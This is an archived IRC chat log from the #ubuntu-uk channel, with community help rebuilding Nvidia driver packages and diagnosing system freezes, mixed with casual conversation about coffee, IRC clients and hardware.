<Azelphur> directhex: what package should I be looking at for nvidia?
<directhex> src:nvidia-graphics-drivers
<Azelphur> directhex: so apt-get source nvidia-graphics-drivers ?
<directhex> yes
<Azelphur> cool :P
 * Azelphur has never done any packaging things before
<brobostigon> shwmae
<HazRPG> brobostigon: err... I know this one... evening? :)
 * markjones waves at brobostigon
<brobostigon> HazRPG: shwmae is justa greeting, noswaith dda is good evening.
<HazRPG> brobostigon: oh, well then... azayak :D
<brobostigon> HazRPG: is that celt*
<brobostigon> ?
<HazRPG> nope :P
<HazRPG> its arabic
<HazRPG> means hello
<brobostigon> HazRPG: oh, i see.interesting.
<HazRPG> ^^,
<HazRPG> urgh... almost bed time
 * brobostigon gets HazRPG a nightcap.
<Azelphur> directhex: inside the package there are 2 nvidia.run files, one ends in -no-compat32
<Azelphur> can I get that from somewhere? does it matter for me?
<HazRPG> hehe
<HazRPG> Azelphur: haha I imagine you saying that last sentence as if you were king or something ^^,
<directhex> ftp://download.nvidia.com/XFree86/Linux-x86_64/
<Azelphur> o.O
<HazRPG> it was just the end of that sentence with the "does it matter for me?"
<HazRPG> sorry, I'm just getting to the "sleepy" weird stage of the evening xD
<HazRPG> my sister is reading random "like this page" pages from Facebook to me O.o
<HazRPG> last one was "I hate it when I run into the wrong wall, when trying to get to hogwarts"
<brobostigon> lol
<HazRPG> right, I'm away to bed... so tired... (finally back in a normal routine again, sort of...)
<HazRPG> night all o/
<brobostigon> nos da HazRPG
<HazRPG> "in the HazRPG" ?
<HazRPG> o.O
<brobostigon> HazRPG: nos da, good night,:)
<HazRPG> oh... heh, in portuguese "nos da" translates as "in the"
<brobostigon> HazRPG: hmm, we did it first, :)
<HazRPG> :p
 * AlanBell finishes off a tl;dr blog article
 * Azelphur prods directhex
<directhex> Azelphur: ?
<Azelphur> directhex: I have the nvidia-graphics-drivers source downloaded, and I got the new .run files
<directhex> Azelphur: dch -i
<directhex> to insert a new changelog entry
<Azelphur> the normal package contains NVIDIA-Linux-x86-260.19.06.run and NVIDIA-Linux-x86_64-260.19.06-no-compat32.run
<Azelphur> but I can only find x86_64 and no-compat32 .run's
 * Pendulum reads AlanBell's tl;dr post, thereby proving that it's only tl :P
<HazRPG> brobostigon: hehe, tisbah al-khayr
<Azelphur> I think nvidia changed it so that x86_64 has support for both
<directhex> Azelphur: this is because you're too hip to click the link i posted, right?
<directhex> <directhex> ftp://download.nvidia.com/XFree86/Linux-x86_64/
<Azelphur> oh whoops, didn't notice that
<Azelphur> directhex: that only has the files I found anyway :D
<Azelphur> both x86_64, no x86 one
<directhex> look at the directory name
<Azelphur> ah
 * HazRPG left the room (saying: Good night all, and thanks for all the fish?)
<brobostigon> HazRPG: elaborate?
<HazRPG> brobostigon: oh, it just means "good night", or "sweet dreams", etc
<brobostigon> HazRPG: ah, :)
<directhex> it means "i keel you, infidel!"
<HazRPG> ... not quite lol
<directhex> anything i don;t understand is a death threat. good rule of thumb
<HazRPG> wouldn't it be cool of thumbs could rule!
<HazRPG> although, they'd need to grow a face first :/
<HazRPG> directhex: also, bad way to observe such things
 * AlanBell wonders whether to add an accessibility section before Pendulum gets to the end
<Pendulum> you'd have to do it fast
<HazRPG> directhex: someone could be saying to you "you're the nicest person I've ever met, I hope you go to heaven" and then you shoot them down with an AK-47 because you thought it was a death threat... you'd feel bad for yourself later if you found out
<directhex> ak-47? evil foreign weaponry! :o
<HazRPG> a bad worksman always blames him tools ;)
<AlanBell> Pendulum: I will have a go with the OpenERP client and orca and write another article I think
<AlanBell> it is just GTK so it should kinda work
<Pendulum> heh
<Pendulum> AlanBell: is it bad that I'm proofreading your post as I read it?
<HazRPG> anyways, so long and thanks for all the fish... night o/
 * brobostigon plays the hitchhikers theme tune,
 * HazRPG has vanished in a poof of smoke, to his humble bed
<HazRPG> brobostigon: ^^,
<Azelphur> directhex: ok done that, how do I build the package?
<brobostigon> HazRPG: :)
<HazRPG> brobostigon: o/
 * brobostigon hears a banjo.
<directhex> Azelphur: you bumped the changelog?
<Azelphur> yes
<directhex> Azelphur: dpkg-buildpackage
<AlanBell> Pendulum: not bad if you give me the corrections :)
<Pendulum> AlanBell: well now that I look at the consistancy of the mistake I suspect it's actually a British vs. American spelling thing :)
<Pendulum> so not in fact a mistake
<AlanBell> or a consistent error on my part
<Pendulum> well you spelled the word 'lable' and I know it as 'label'
<Azelphur> now to install it and see if my system explodes \o/
<Azelphur> directhex: it's generated 9 packages, happen to know which one to install?
<Azelphur> I assume it's current or glx (or both?)
<AlanBell> Pendulum: no, I think that is an Alanism
<Pendulum> AlanBell: google and british english dictionaries seem to concur
<Pendulum> (it's one of those words I correct myself on a lot which I think is why I noticed)
<dutchie> AlanBell: that is an alanism
<Azelphur> anyone might be able to field my above question :P
 * AlanBell fixors
<czajkowski> /c/c
 * Azelphur prods directhex
<directhex> Azelphur: current, modaliases, and i think the kernel source one too if they still make one
<bigcalm> popey: http://myrant.net/popey_minecraft_2.png
<Azelphur> ok :D
<directhex> Azelphur: i guess vdpau too. you need to install all at once or you'll get dependency complaints from dpkg
<Azelphur> directhex: lol, I crashed again right as you said current modaliases and kernel source
<Azelphur> but I'm up and running on those 3 :D
<Azelphur> hopefully this will stop me crashing :)
<directhex> Azelphur: you rebooted so it built a new kernel module?
<Azelphur> directhex: yup
<Azelphur> nvidia-settings reports I'm on the new driver, all seems good :)
<brobostigon> linuxhotel.de :)
<ali1234> Azelphur: why not use the nvidia ppa?
<Azelphur> I didn't know there was one
<ali1234> https://launchpad.net/~nvidia-vdpau/+archive/ppa
<Azelphur> ali1234: looks like there are no maverick builds in there
<Azelphur> ali1234: also they are old
<ali1234> huh
<ali1234> maybe there's a newer one
<Azelphur> 6+ weeks old :P
<ali1234> or maybe jockey broke it
<ali1234> ah theres a link in the ppa description
<ali1234> https://launchpad.net/~ubuntu-x-swat/+archive/x-updates
<jacobw> has anyone else been having trouble with opendns recently?
<Azelphur> :)
<Myrtti> blaargh
<czajkowski> Myrtti: how ya doing ?
<ubuntuuk-planet> [Alan Bell] OpenERP vs Lotus Domino - http://www.theopensourcerer.com/2011/01/23/openerp-vs-lotus-domino/?utm_source=rss&utm_medium=rss&utm_campaign=openerp-vs-lotus-domino
<Myrtti> czajkowski: shoulder is better but bad news come from Finland, so actually feeling a lot more rotten than earlier this week
<czajkowski> ahh crap
<Azelphur> nope, my Xorg is still freezing every few minutes :(
<brobostigon> nos da.
<Azelphur> now i cant even ssh
<Azelphur> I can login and get the welcome message, then it just freezes
<hamitron> hey Azelphur
<Azelphur> hey
<hamitron> even with new drivers?
<Azelphur> yea :/
<hamitron> fs :\
<hamitron> tried the open source driver?
<hamitron> (s)
<hamitron> or could try a livecd
<hamitron> make sure it isn't a hardware fault
<Azelphur> I'm gonna try that ppa ali1234 linked
<Azelphur> with the beta drivers
<hamitron> ah, yeh nice
<ali1234> sounds like overheating to me
<ali1234> make sure the fan still works
<ali1234> mine fell off one time
<hamitron> haha
<hamitron> gravity sucks ;)
<ali1234> explained why my computer was going slow
<ali1234> and crashing a lot
<Azelphur> ali1234, haha, nope the temps are fine
<Azelphur> I have them on conky I'd notice if something was up
<markjones> is AlanBell still up?
<hamitron> I've just solved my freezing problem
<hamitron> it was a case fan that was shagged, kept dragging the 12V rail down
<Azelphur> woa hold on
<Azelphur> that could be me
<Azelphur> define shagged
<hamitron> near seized up
<Azelphur> yes that's what I have
<hamitron> and drawing too much current
<Azelphur> I have a fan that doesn't spin most of the time
<hamitron> yeh
<Azelphur> I kinda have to give it a shove sometimes to get it started
<Azelphur> and even then it doesn't spin at full speed
<hamitron> unplug it
<hamitron> see if it helps
<Azelphur> would that pull down a 1200w psu though?
<hamitron> 1200W is not on 1 rail
<Azelphur> true
<ali1234> 1200W PSU?!?!?
<hamitron> mine is dual 12V rail
<Azelphur> ali1234, 1.21 JIGGAWATS?!?!?!?
 * Azelphur loves doing that.
<hamitron> and you have to ballance the load on the rails to get near the specs they claim
<ali1234> i love reminding people that "jiggawatts" is actually the correct pronunciation
<Azelphur> wat :o
<Azelphur> it's kilowats I thought
<ali1234> since "giga" as in "giant"
<Azelphur> oh right :p
<Azelphur> it's a shame they don't sell 1210W power supplies
<Azelphur> just for the reference, it'd be awesome.
<ali1234> i bet you could sell a few of those
<ali1234> someone should do it
<Azelphur> indeed
<ali1234> buy 1300W ones, relable them
<hamitron> just change the label like most PSU manufacturers do :/
<Azelphur> xD
<hamitron> my 650W is a relabelled 580W
<hamitron> ;)
<ali1234> http://www.directtradesupplies.co.uk/farho-alejandria-1210w-digital-heater.html
<Azelphur> hehe
<hamitron> I want a heater for my comp
<hamitron> :/
<Azelphur> 1.21JIGGAWAT HEATING.
<Azelphur> lol
<ali1234> someone sign up for that site and write a review about how the product did not allow you to time travel after reaching 88mph etc
<ali1234> actually it looks like you don't even have to sign up
<Azelphur> hahaha
<Azelphur> "I stuck it to the roof of my delorean with CONDUCTIVE tape, I got to 88mph on the highway and nothing happened, wouldn't buy again."
<Azelphur> :p
<hamitron> :)
<hamitron> Azelphur: unplugged the fan yet?
<hamitron> ;/
<hamitron> or any case fans not needed
<Azelphur> nope still freezing
<Azelphur> gonna go for the fan :p
<hamitron> I had 3 faulty fans I found today
<hamitron> :/
<hamitron> cheap ass things don't last as long as they once did
<hamitron> that or I am getting old and have biased opinions
<ali1234> so this guy named Christian Marclay made a 24 hour long film out of clips from other films where you can see a clock, such that you can tell the time by it
<ali1234> when i heard about this my first question was, "did he use the clip from the end of BttF?"
<hamitron> so long since I saw them, can't remember them :/
<ali1234> http://i.newsarama.com/images/Doc-Brown-Clock-Tower.jpg
<ali1234> anyway it looks like he didn't. i am disappoint.
<Azelphur> unplugged bad fan, lets see...
<hamitron> you checked all fans?
<Azelphur> oh, probably unrelated, I keep getting "Sec Slave Hard Disk: S.M.A.R.T. Command Failed" "Press F1 to Resume" every time I boot
<Azelphur> hamitron, yea, I rebuilt the thing a few days ago and cleaned everything out
<Azelphur> that's why I knew I had a sticky fan
<hamitron> k
<Azelphur> and SATA 2 (I assume sec slave) is a SSD
<Azelphur> SSD has no SMART I assume?
<hamitron> I'm not posh enough to have experience with SSD ;)
<ali1234> i don't see why it wouldn't
<Azelphur> *shrug*
<Azelphur> in other news my PC is so scary when it reboots
<ali1234> maximum fans?
<Azelphur> it actually fully shuts down and stops all the fans, waits like 3 seconds
<Azelphur> and then starts
<hamitron> why? ;/
<Azelphur> *shrug*
<hamitron> my fans turn on when it starts
<hamitron> about it
<hamitron> then cpu fan stops when I got into windows
<hamitron> and my 2nd comp auto shuts down due to 0 rpm on fan if it is too cold :/
<hamitron> detects fan failure
<Azelphur> haha
#ubuntu-uk 2012-01-16
<popey> Morning all
<AlanBell> morning
<buzz_> morning
<buzz_> <3 netcat
<awilkins> The topic still says Happy 12th January...
<buzz_> was struggling to backup some large amounts of data from my old amiga. seems my nfs client no longer works with linux, and samba was slow as hell. tar | to netcat and im getting a blistering 400Kb/second ;-)
<buzz_> (blistering for the amiga)
<awilkins> Yeah, SMB has a lot of overhead for individual files, I think
<awilkins> Making a no-compression zip file on the server is a time honoured Windows trick
<Hippychick> Morning all
<TheOpenSourcerer> Morning all. Happy Monday :-D
<awilkins> /me grunts semi-coherently and gathers his blankets closer.
<MooDoo> morning all
<DJones> Morning all
<Hippychick> It is a happy Monday... I finally have my new phone \o/
<awilkins> I need hot sweet coffee with gingerbead syrup
<awilkins> Alas, I left the syrup at home. And the train has no hot water. Or coffee. Or hot.
<awilkins> New phone model?
<TheOpenSourcerer> Hippychick: What phone you got?
<Hippychick> Its the galaxy nexus
<daubers> Morning
<DJones> Ah...Steaming hot, black coffee
<_serial_> loves coffee, shame starbucks dont do it hot enough
<daubers> Trying to give up coffee (or at least reduce my consumption drastically)
<DJones> I don't know why, I never like Starbucks or Costa (other coffee house providers are available) coffee, there's just something that doesn't appeal to me
<daubers> DJones: There's a place in Reading called the Workhouse Coffee Shop, best coffee I've ever tasted, and HUGE sausage rolls :)
<DJones> daubers: Handy if you're in Reading, bit far for them to deliver though
<DJones> I like this coffee http://www.taylorscoffee.co.uk/products/lifestyle-coffee/hot-lava-java.asp
<AlanBell> DJones: I have a bag of that I will be opening shortly
<DJones> It has that nice early morning kick :)
<christel> GOOD MORNING PRETTIES
<christel> TheOpenSourcerer: hey, how was dr phil? :)
<DJones> christel: Its too cold and too early for that sort of greeting :)
<christel> uh oh.. DJones, i think AlanBell is gearing up for an entirely different kind of morning kick :o
* AlanBell changed the topic of #ubuntu-uk to: Welcome to #ubuntu-uk! http://ubuntu-uk.org | This channel is publicly archived http://irclogs.ubuntu.com | Mailing List http://tinyurl.com/uukml | Support Guidelines http://tinyurl.com/uuksupport | Meeting 12th January 21:00 UK time #ubuntu-uk-meeting | "GOOD MORNING PRETTIES" ~ christel
<christel> oh phew!
<christel> haha
<christel> DJones: it is indeed rather cold today
<AlanBell> I was wondering what to replace "Happy 12th of January \o/" with
<DJones> christel: Must admit, that was my thought as well
<christel> as for coffee, i am with you -- i'm not keen on costa or starbucks coffees, tho i am partial to a frappucino/frescato when it's summery and warm!
* AlanBell changed the topic of #ubuntu-uk to: Welcome to #ubuntu-uk! http://ubuntu-uk.org | This channel is publicly archived http://irclogs.ubuntu.com | Mailing List http://tinyurl.com/uukml | Support Guidelines http://tinyurl.com/uuksupport | Meeting 2nd February 21:00 UK time #ubuntu-uk-meeting | "GOOD MORNING PRETTIES" ~ christel
<TheOpenSourcerer> christel: Very funny. Enjoyed the evening.
<christel> :D
<christel> he is very funny on HIGNFY, and in private eye for that matter
<DJones> christel: Are those coffee's milky? I only drink black coffee
<smittix> Morning all.
<christel> DJones: they're more milkshake than coffee
<christel> (i tend to opt for the chocolate or vanilla ones)
<MooDoo> morning folks
<christel> coffee proper i take black and unsweetened
<DJones> The best way :)
<christel> indeed!
<DJones> christel: Have you seen these on sale? http://www.sweetretailing.co.uk/index.php/new_sweets_chocolates/view/cadbury_creme_egg_splats
<christel> oooh
<christel> i have not!
<DJones> Higher chocolate to filling ratio though
<christel> *nod*
<christel> i am now debating if i can make cadubury creme egg stuff my carb treat
<christel> (i have been attempting to avoid carbs)
<christel> they keep trying to find me mind
<daubers> christel: Hide in the fridge, they'll never think of looking in there!
<czajkowski> aloha
<daubers> o/
<christel> hahaha
<christel> <3 daubers
<christel> heey czajkowski!
<czajkowski> love caramel egg
<czajkowski> yummy stuff very goesy and sticky mind
<czajkowski> *goey
<Myrtti> moin
<christel> Myrtti!
<christel> gosh, two of my favourite girls at once, this is shaping up to be a good morning!
<christel> oh dear, that sounded a bit creepy
<MooDoo> christel: no it sounded a lot creepy :D
<christel> haha
<MooDoo> christel: especially seeing as the last comments from them were gooey and sticky
<christel> hullu matthew
<christel> MooDoo: lol
<Myrtti>  I was going to say something... but never mind... ;-)
<czajkowski> MooDoo: christel hello girls!
<czajkowski> bah
<czajkowski> Myrtti: christel hello girls
<MooDoo> czajkowski: and a good morning to you to mr ;)
<czajkowski> MooDoo: hey there
<czajkowski> anyone need a car service http://www.groupon.co.uk/deals/north-london/pit-start-garage/2706758
<JamesTait> Morning all! :)
<BigRedS> Good Morning!
<bigcalm> I run pear upgrade and then this split happens. Coincidence?
<czajkowski> such an ordeal never restarting irssi again if I can help it, or until I sort my config file out
<czajkowski> what a mess
<MooDoo> ouch
<gord> come to the dark and evil side of just using xchat because you can't be bothered with irssi anymore ;)
<MooDoo> gord: doesn't help when you're ssh'd to a server :p
<gord> rarely do i find myself in a state where i have ssh access somewhere but no gui ;)
<MooDoo> gord: when i'm at work, and want to IRC i need to ssh home :)
<gord> get a better job!
<czajkowski> gord: no i love irssi + screen
<czajkowski> would be lost without it
<gord> bah! everyone will see the light one day ;)
<MooDoo> gord: job is fine, don't need xchat :p
<Laney> try smuxi!
<czajkowski> plus each channel has it's own number so I know where folks are and in most cases I dont say the wrong thing in them
<AlanBell> quassel and quassel core seem interesting, but are a bit KDEish I think
<Laney> smuxi has the same concept as that
<Laney> and is gtk
<AlanBell> so you run the core on a server and connect to it with a gui so have all the scrollback and channels
<AlanBell> !info smuxi
<lubotu3> smuxi (source: smuxi): graphical IRC client. In component universe, is optional. Version 0.8-7build1 (oneiric), package size 5 kB, installed size 56 kB
<gord> i just use znc as my "core", it works with anything without being tied to any specific application
<gord> been using it for a year or two now, very very happy with it
<AlanBell> ah, a heap of mono dependencies
<gord> even if i were using irssi, i'd use znc as the bouncer, so i get sensible scrollback and don't need to run inside of screen
<oimon> âMy primary phone is the iPhone,â Wozniak says. âI love the beauty of it. But I wish it did all the things my Android does, I really do.â
<oimon> sounds like a sensible man
<brucebanner> I'm looking for something like winsplit revolution for a 10.04 running in virtual machine.  Is there anything like it for Ubuntu (or Linux in general)?
<gord> brucebanner, its generally not a great idea to ask for a replacement for windows program<x> in a linux based irc channel, chances are we have no idea what that program does ;) what do you actually want to do?
<bigcalm> dogmatic69: upgraded PHP to 5.3 and my CakePHP 1.1 projects continue to work. Something must have changed in PHP 5.3 since I last tried
<jutnux> Howdy ho
<MooDoo> brucebanner: there is a compiz-fusion plugin called grid.
<brucebanner> I can't use compiz --- the VM doesn't have 3d graphics
<MooDoo> brucebanner: oooo have a look at this - http://crunchbanglinux.org/forums/topic/11360/my-attempt-to-bring-winsplit-revolution-to-linux/
<oimon> brucebanner: is it mainly terminal windows you are gridding ?
<MooDoo> brucebanner: or this http://soad1982.blogspot.com/2010/05/winsplit-revolution-like-on-any-window.html
<MooDoo> oimon: terminator for that :D
<oimon> exactamondo
<davmor2> morning all
<MooDoo> davmor2: morning biatch....er mate
 * jutnux bans MooDoo
<davmor2> MooDoo: Yeah there is a post on OMG!Ubuntu about some app you maybe interest in for your photography muppet boy ;)
<MooDoo> jutnux: nah still here, ner ner ner ner ner
<MooDoo> davmor2: yeah read it, think i'll stick to windows :p
<directhex> so it's a tiling window manager for windows?
<davmor2> MooDoo: and have you noticed that popey is starring in the latest comparethesupermarket as epic Brian?
<MooDoo> davmor2: no i've not lol
<dogmatic69> bigcalm: I thought you wanted to upgrade to cake 2.0
<davmor2> MooDoo: http://www.moneysupermarket.com/c/videos/save-a-1000-pounds-with-moneysupermarket/0012874/
<gord> i still don't think that looks like popey
<davmor2> gord: it does honest AlanBell even said so and he'd know the amount they hang out
<Myrtti> there is some resemblance, but I've seen gazillion and one better doppelgÃ¤ngers in different FLOSS events
<bigcalm> dogmatic69: the drive to upgrade was that 1.1 wouldn't work in 5.3 (last time I tried it). But it worked over the weekend for some reason
<Myrtti> and now I forgot what I was supposed to do
<dogmatic69> bigcalm: ah ok
<gord> hope it was fly to the uk and make me a cup of tea and bring biscuits, because i'm completely out
<bigcalm> davmor2: week Thursday still happening and do we have numbers?
<daubers> Myrtti: That was just popey, he's *everywhere*
<Myrtti> daubers: he wasn't in Finland or Silicon Valley
<davmor2> gord: you down on the 26th?
<gord> should be
<davmor2> bigcalm: that's four and I'm going to send out emails today or tomorrow
<bigcalm> Good show
<gord> won't the teeny tiny room get a bit crowded with more than 4? ;)
<davmor2> gord: we can hog the cafe if it gets too many :)
<bigcalm> More bodies will make it less chilly
 * bigcalm ponders advancing the heating
<bigcalm> Alternative is to turn on another computer in here
<gord> i just make -j8 all day long, keeps my toes nice and toasty
<bigcalm> Heh
<awilkins> My combo of very small office + i7 + 2 monitors seems to help
<davmor2> gord: if you are using your laptop I'm amazed it doesn't burn it's way through your desk ;)
<oimon> davmor2: i see the resemblance
<oimon> in that money advert
<daubers> I love reading other peoples code
<daubers> "Not sure why, but do this"
<oimon> ewww
<oimon> has anyone heard of yammer website?
<MooDoo> oimon: social networking site?
<oimon> seems to be. some eejit is recommending using it at work
<MooDoo> isnt' that the one where you install it on your intranet?
<davmor2> oimon: sound like a black country social media system :D
<oimon> if a project manager is recommending it, i'm sure they've paid someone for it, and what they wanted all along was a wiki
<brobostigon> good afternoon everyone.
<MooDoo> howdy brobostigon
<brobostigon> howdy MooDoo
<matti> Hi brobostigon
<brobostigon> hi matti
<MooDoo> davmor2: smart a**e
<davmor2> MooDoo: :D cheered me up
<MooDoo> davmor2: good :) i'm all about cheering people up
<christel> oh dear
<christel> i do appreciate being able to order food online and have it delivered to my house.. however, i think i have managed to make an error which i never would manage to do in store
<christel> i remember typing a "2" to change the quantity of spelt flour from 1 to 2
<christel> the ocado man just brought me TWENTY kilos of flour
<czajkowski> I love the ocado man
<czajkowski> we're due our delivery tomorrow
<DJones> But how much do you love 20kgs of spelt flour?
<Myrtti> christel: sounds like CUPCAKE TIME!
<czajkowski> ohhh
<Myrtti> cupcakecupcakecupcakecupcake
<czajkowski> http://www.groupon.co.uk/deals/north-london/sugarshack/2694990
<czajkowski> would be tempted to go if it was closer
<Myrtti> CUPCAKE.... *drool*
<czajkowski> Myrtti: how's things with you? where are you these days ?
<Myrtti> things are as ok as they can be, the usual etc. Am in Finland again
<czajkowski> nods
<christel> Myrtti: indeed! sounds like A LOT of cupcake time
<gord> 20kg of cupcake would be like... a house
 * MooDoo punches davmor2 why have we not abused czajkowski lately?
<davmor2> MooDoo: she is still a bit broken occasional prods is about it
<MooDoo> davmor2: pah no excuse
<jutnux> Howdy again.
 * MooDoo prods czajkowski [gently]
<davmor2> MooDoo: I'm letting her fully recover so she can handle the onslaught of niggling
<MooDoo> davmor2: looser, but ok thebn
<MooDoo> i love getting texts, i've got sheldon cooper saying "bazinga" as the notification tone lol
<gord> i used to have the it crowd "Message for me!" thing
<MooDoo> lol
 * brobostigon wants MooDoo's ringtone, please :)
<MooDoo> brobostigon: it's in the android market place, just search for big bang theory and it's a sound board
<brobostigon> MooDoo: thank you, :)
<MooDoo> yw!
<brobostigon> eeek, 8MB in total size, wow.
<MooDoo> is it?  blimey
<brobostigon> quite, yes.
<gord> 200kb of application, 7.8mb of ads
<MooDoo> eeeek
<directhex> a sound board? using space for audio samples? WHODATHUNKIT?
<tim_> hello
<MooDoo> hello
<tim_> i take it everyone is bussy at work
<MooDoo> tim_: guess so
<tim_> whats the point of having a where are we map with the locations?
<MooDoo> no point.  just interesting and nice to know where other ubuntu users are in the country
<tim_> oright well im on the map :)
<chris101> Hello Tim
<tim_> well hello chris
<chris101> How are you today?
<tim_> im right next to you =,=
<chris101> Yea I know XD
<tim_> then wth!
<chris101> *shruggs*
<MooDoo> ah college users having a jest :D
<chris101> Indeed
<chris101> pretty bored
<chris101> 3 hours of Networking :D
<MooDoo> yay lol
<chris101> Windows networking :s
<tim_> the worst type :/
<chris101> Indeed
<MooDoo> there is no place like 127.0.0.1
<chris101> Indeed, fun :D
<tim_> lol
<tim_> MooDoo: you know if i can order a 12.04 disc in advance?
<MooDoo> tim_: a release one?  then probably not, however you can get a daily release iso here -
<MooDoo> http://cdimage.ubuntu.com/daily-live/current/
<DJones> You can't get discs direct from Ubuntu anymore, you have to contact your loco... In this case, probably alanbell is the best to speak to
<DJones> !shipit
<lubotu3> Canonical is no longer sending free Ubuntu CDs to individuals through its ShipIt program.  For more information please see http://blog.canonical.com/?p=551 !LoCo teams can request CDs through this link https://forms.canonical.com/lococd/
<DJones> Although I think the loco disks are generally kept for events rather than giving out individually (I could be wrong on that though)
<tim_> well i just emailed the guy
<DJones> Looks like he timed out of the channel about 20 minutes ago, otherwise he'd probably let you know straight off
<tim_> to bad you carnt buy single ubuntu disc from canonical every LTS release
<daubers> DJones: Nope, They're for all and sundry
<DJones> daubers: Right, I couldn't remember off the top of my head, I just remember a bit of discussion about postage costs etc
<daubers> yeah, I think the system is you send him an SAE he sends it back with a CD
<daubers> http://ubuntu-uk.org/free-cds/ :)
<DJones> That makes sense
<tim_> all assignments uploaded and nothing to do
 * daubers carries on figuring out OpenGL to get some awesome visualisations running
<tim_> by the way anyone play urban terror?
<gord> heh does anyone still play that?
<gord> like at all
<tim_> yeah
<gord> neat
<tim_> a version HD is coming out
<tim_> itll put my graphics card to good use
<tim_> my current urban terror client keeps going on to some kind of command line :/
<riv182> Ares The-HopeBuster
<riv182> 22:52
<riv182> irc.indonesianbacktrack.or.id
<bigcalm> Spam?
<riv182> #Ares The-HopeBuster
<riv182> 22:52
<riv182> irc.indonesianbacktrack.or.id
<bigcalm> Yes, spam
<bigcalm> riv182: please don't spam here
<davmor2> and back for at least a bit
<riv182> soryy
<riv182> okee
<czajkowski> eh no alanbell
<czajkowski> wtf
<bigcalm> Yes, it's odd to be with out Mr Bell
<czajkowski> very
<czajkowski> send out a search party do not come back without him
 * czajkowski peers at christel have you locked mr alanbell away in a pub ?
<bigcalm> Check under the sofa
<oimon> taken hostage by chickens
<christel> he hasn't pubbed with me for ages :(
<directhex> i sent him to reeducation camp
<directhex> for his unacceptable views on mono
<bigcalm> reduction camp?
<oimon> unity dash is no longer possible to set to full-screen?
<gord> yes it is
<davmor2> oimon: top left click on the fullscreen button like you would for an app
<oimon> ah yeah, it got moved - cheers guys
<ali1234> wow and it remembers now too
<davmor2> czajkowski: prod
<ali1234> not that i ever look at the dash
<oimon> i heard you can disable "apps for download" too
 * czajkowski hugs davmor2 
<davmor2> oimon: only if you are on unity 5.0
<oimon> i think i am
<gord> are you on precice?
<davmor2> oimon: are you on oneiric?
<oimon> precise alpha
<gord> then you are if you updated since friday
<oimon> yup
 * daubers can't update unity for some reason on his precise box
<daubers> Says there's unfulfilled dependancies
<oimon> i just did an dist-upgrade after installing alpha1
<daubers> I've been trying to avoid taht and just use update manager
<ali1234> ah i heard people were having that bug...
<ali1234> there's probably a fix on the forums or launchpad
<oimon> does update manager still ask if you want to replace config files?
<popey> daubers: I'd recommend you dist-upgrade
 * czajkowski tickles popey 
 * popey jumps
<czajkowski> :)
<AlanBell> powercuts are bad, someone should make a law against them
 * AlanBell is using smuxi now
<czajkowski> AlanBell: welcome back we were worried about you
<AlanBell> aww
 * AlanBell starts typing in 80 /join commands
<MartijnVdS> AlanBell: do /channel commands
<MartijnVdS> AlanBell: those get saved on /save
 * czajkowski has to write a bio about herself for FOSDEM 
<MartijnVdS> czajkowski: "Irish."
<czajkowski> only female taking part in the panel about distros ambassadors
<czajkowski> MartijnVdS: I've to put that bit in to stop people talking to me in polish!
<AlanBell> "I iz teh awesome!"
<AlanBell> that should do for anyone as a bio
<AlanBell> so, smuxi users, how does one connect to it from Android?
<AlanBell> and why doesn't multiple tab presses cycle through nicks? grr
 * popey wonders why AlanBell is using smuxi
<czajkowski> see irrsi+screen+ssh ftw!
<AlanBell> to get some mono awesomeness
<AlanBell> popey: we were talking about it this morning, I kind of like the client/server architecture as a concept so thought I would give it a go next time I had a powercut
<Laney> #smuxi @ oftc for all your chatting-with-upstream needs
<popey> bah, anyone else having akismet problems with wordpress today?
<popey> my blog can't connect to akismet so I now have thousands of spam comments
<czajkowski> working fine here
<daubers> popey: Will do so from home
<daubers> mm... might need to take an SSD into a customer, trying to get an overviuew of whats munching their NAS to shred and my little inotify client can't write to disk fast enough
<daubers> stupid iops limits
<MartijnVdS> Stupid fast NASes
<bigcalm> Colour me surprised: http://www.maplin.co.uk/leisure/electronic-kits/arduino-kits
<bigcalm> Happy though
<gordonjcp> yup
<brobostigon> cool
<gordonjcp> getting in just in time for Arduinos to die out and faster, better things to come along
<gordonjcp> ;-)
<bigcalm> Speed isn't everything. They are tools for learning with
<gordonjcp> bigcalm: yeah, but when you can get a 24MHz ARM7 for less than half the price of an ATMega 328, it starts to look almost nonsensical...
<YaManicKill> anyone used a bulldozer cpu?
<MartijnVdS> Arduinos are more expensive than Raspberry Pi will be 8-)
<MartijnVdS> YaManicKill: That's the AMD one right?
<YaManicKill> MartijnVdS: yeah
<MartijnVdS> Haven't used it... haven't used AMD in a loooong time
<YaManicKill> fairynuff
<YaManicKill> am just about to upgrade my phenom x4 2.6 to a bulldozer x6 3.3
<YaManicKill> and am gonna get this motherboard - http://amzn.to/AntaON
<YaManicKill> just looking for if anyone has any real hand experience with either before i do so
<MartijnVdS> Asus tends to be good
<MartijnVdS> <- saving money for an i7
<YaManicKill> yeah, i've been pretty happy with my phenom, and although the i7s have better single core performance, in Linux especially the bulldozer has better multi-core performance
<MartijnVdS> I like the built-in GPU bits
<YaManicKill> which, tbh, is only going to get better, as more applications become more and more multi-core optimised
<YaManicKill> MartijnVdS: in the i7?
<MartijnVdS> yes
<MartijnVdS> new i7s come with GPUs
<MartijnVdS> well if you choose the right ones
<YaManicKill> fairynuff, i have 2 external graphics cards, so don't really care about that tbh
<MartijnVdS> I don't need graphics performance. Intel has libva support for decoding MPEG2 and H264, so that helps for HD video
<YaManicKill> but yeah, that's useful for laptops and stuff. the new amd APUs look like they are going to be nice as well when they eventually get released
<MartijnVdS> 3D is adequate
<YaManicKill> ok, my main reason for external graphics cards...i have 4 monitors :-)
<MartijnVdS> I have one. More than enough :)
<YaManicKill> i like more than 1 as it helps me compare code/documents etc at the same time rather than switching between windowws
<MartijnVdS> I tried 2 once
<MartijnVdS> but I got distracted all the time, or put most stuff on one screen
<MartijnVdS> so then I switched back
<YaManicKill> fairynuff
<YaManicKill> this is why choice is good :-)
<YaManicKill> i work well with more than 1 screen (except when studying for exams...) whereas you don't
<MartijnVdS> Kettle time!
<AlanBell> precise time I think
<MartijnVdS> AlanBell: I'm already on precise
<MartijnVdS> on all my machines :)
<AlanBell> I have a precise desktop, and a few servers and VMs this is the upgrade for my main laptop
<KrimZon> I use workspaces more than multiple monitors
<MartijnVdS> KrimZon: same for me
<MartijnVdS> one for banshee, one for tbird, one for "the rest" (lots of terminals and vim windows + web browser)
<KrimZon> I made myself a perl script to handle creating workspaces with keyboard shortcuts and automatically deleting empty ones
<KrimZon> using wmctrl or whatever it's called
<KrimZon> I ought to post it once I find it - I used it on my laptop but not the eee that I'm on now
<MartijnVdS> KrimZon: a bit like gnome shell does?
<KrimZon> yeah
<KrimZon> it was the main feature of gnome 3 that I was excited about
